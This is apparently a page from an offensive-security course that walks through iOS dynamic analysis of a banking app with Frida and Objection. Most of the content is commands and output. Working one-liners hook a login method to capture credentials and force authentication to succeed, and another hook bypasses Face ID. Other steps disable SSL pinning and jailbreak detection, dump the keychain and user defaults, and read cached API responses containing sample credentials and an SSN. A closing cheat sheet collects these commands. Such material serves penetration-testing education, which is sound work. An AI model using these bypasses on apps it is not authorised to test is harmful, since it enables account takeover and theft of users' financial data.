



◆ OFFENSIVE SECURITY SERIES ◆

iOS DYNAMIC ANALYSIS

ObjC Hooks, SSL Bypass, Keychain & Face ID

Frida · Objection · ObjC Hook · SSL Unpin · Keychain · Face ID Bypass

ObjC Hooks

SSL Unpin

Keychain Dump

Face ID Bypass

NSUserDefaults

HTTP Cache

JB Bypass

RedTeamGarage (RTG) | Offensive Security Education

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01 — OBJC LOGIN HOOK

Credential Capture + Bypass

```

Frida iOS - ObjC Login Hook + Auth Bypass

# Hook ObjC login method - capture credentials
(kali)-[~]
kali $ frida -U -f com.target.bankingapp --no-pause -l hook_ios_login.js

    /_ _ \   Frida 16.2.1
   /  _  \  |
  /  _  \  |
 /  _  \  |
/_  _  \  |

[*] ObjC hooks active, waiting for login...

[LOGIN] -[AuthManager loginWithUsername:password:] intercepted!
[LOGIN]  username : john.doe@target.com
[LOGIN]  password : BankPass2024!
[LOGIN]  return   : YES (authenticated)

# Force return YES - bypass authentication check
(kali)-[~]
kali $ frida -U com.target.bankingapp -e "var AuthManager = ObjC.classes.AuthManager; var loginMethod = AuthManager['
  - loginWithUsername:password:']; Interceptor.attach(loginMethod.implementation, {onLeave: function(retval)
    { retval.replace(1); console.log('[*] Login bypassed!');}});"

[*] Login bypassed!
[*] Login bypassed!
```

Figure: Frida hooks ObjC login method, captures creds, and forces return YES to bypass auth



02 — SSL UNPIN & KEYCHAIN

Bypass + Keychain Extraction

```

iOS SSL Unpin + Keychain Dump

# iOS SSL Pinning bypass
(kali)-[~]
kali $ frida -U -f com.target.bankingapp -l ios_ssl_unpin.js --no-pause
[+] SecTrustEvaluate() replaced → always returns kSecTrustResultProceed
[+] TrustKit TKPinningValidator bypassed
[+] NSURLSession pinning disabled
[+] AFNetworking SSL pinning disabled
[+] SSL Pinning DISABLED – traffic interceptable in Burp

# Dump Keychain via objection
(kali)-[~]
kali $ objection -g com.target.bankingapp explore
(kali)-[~]
kali $ ios keychain dump
[*] Note: Due to the Keychain Security, not all items may be returned.

Created      Accessible      ACL   Type   Account      Ser
vice        Data
-----
2024-01-14 22:00:00 +0000 WhenUnlockedThisDeviceOnly   None Password john.doe@target.com com
.target.bankingapp BankPass2024!
2024-01-15 09:30:00 +0000 kSecAttrAccessibleAlways    None Password auth_token com
.target.bankingapp eyJhbGciOiJSUzI1NiJ9...
# auth_token accessible ALWAYS = even when device is LOCKED!

```

Figure: SSL bypass active, Keychain reveals plaintext password and a token accessible when locked



03 — FACE ID & CACHE

Biometric Bypass + Data Storage

```

Face ID Bypass + NSUserDefaults + HTTP Cache

# Bypass Face ID / biometric with Frida
(kali)-[~]
kali $ frida -U com.target.bankingapp -e "var LAContext = ObjC.classes.LAContext; LAContext['- evaluatePolicy:localizedReason:reply:'].implementation = function(policy, reason, reply) { console.log('[*] Biometric bypassed'); var block = new ObjC.Block(reply); block(1, null); };"
[*] Biometric bypassed
[*] Biometric bypassed

# Check NSUserDefaults for sensitive data
(kali)-[~]
kali $ ios nsuserdefaults get all
{"auth_token": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJlc2VyXzEyMyJ9.SIGNATURE",
"user_email": "john.doe@target.com",
"last_login_ip": "192.168.1.100",
"pin_hash": "81dc9bdb52d04dc20036dbd8313ed055"}

# Check HTTP response cache
(kali)-[~]
kali $ ssh -p 2222 root@localhost "sqlite3 /var/mobile/Containers/Data/Application/GUID/Library/Caches/com.target.bankingapp/Cache.db 'SELECT request_key,response_object FROM cfurl_cache_response LIMIT 3;'"
https://api.target.com/v2/account/balance|HTTP/1.1 200 OK...{"balance":15230.50,"accountNumber":"ACC-12345678","ssn":"123-45-6789"}

```

Figure: Face ID bypassed silently, NSUserDefaults has auth token, cache stores sensitive API responses



04 — CHEAT SHEET

Quick Reference

Frida attach iOS	<code>frida -U com.pkg.name</code>
Frida spawn iOS	<code>frida -U -f com.pkg.name --no-pause</code>
List ObjC methods	<code>ObjC.classes.ClassName.\$ownMethods.forEach(function(m){console.log(m)})</code>
Hook ObjC method	<code>Interceptor.attach(ObjC.classes.Cls["- method:arg:"].implementation, {onEnter:function(args){...}})</code>
Force return YES	<code>retval.replace(1)</code> in onLeave handler
SSL unpin (objection)	<code>ios sslpinning disable</code>
JB bypass (objection)	<code>ios jailbreak disable</code>
Watch method+args	<code>ios hooking watch method "-[AuthManager login:pass:]" --dump-args --dump-return</code>
Dump keychain	<code>ios keychain dump (objection)</code>
Keychain insecure	<code>kSecAttrAccessibleAlways = accessible when locked = FINDING</code>
NSUserDefaults dump	<code>ios nsuserdefaults get all (objection)</code>
Face ID bypass	<code>Hook LAContext evaluatePolicy:localizedReason:reply: → call reply block with YES</code>
Get container path	<code>objection > env</code>
Download file	<code>file download /path/to/databases/app.db (objection)</code>
Cookie dump	<code>python3 BinaryCookieReader.py Cookies.binarycookies</code>
Screenshot check	<code>ls /var/mobile/Containers/.../Library/Caches/Snapshots/ (check for sensitive screens)</code>



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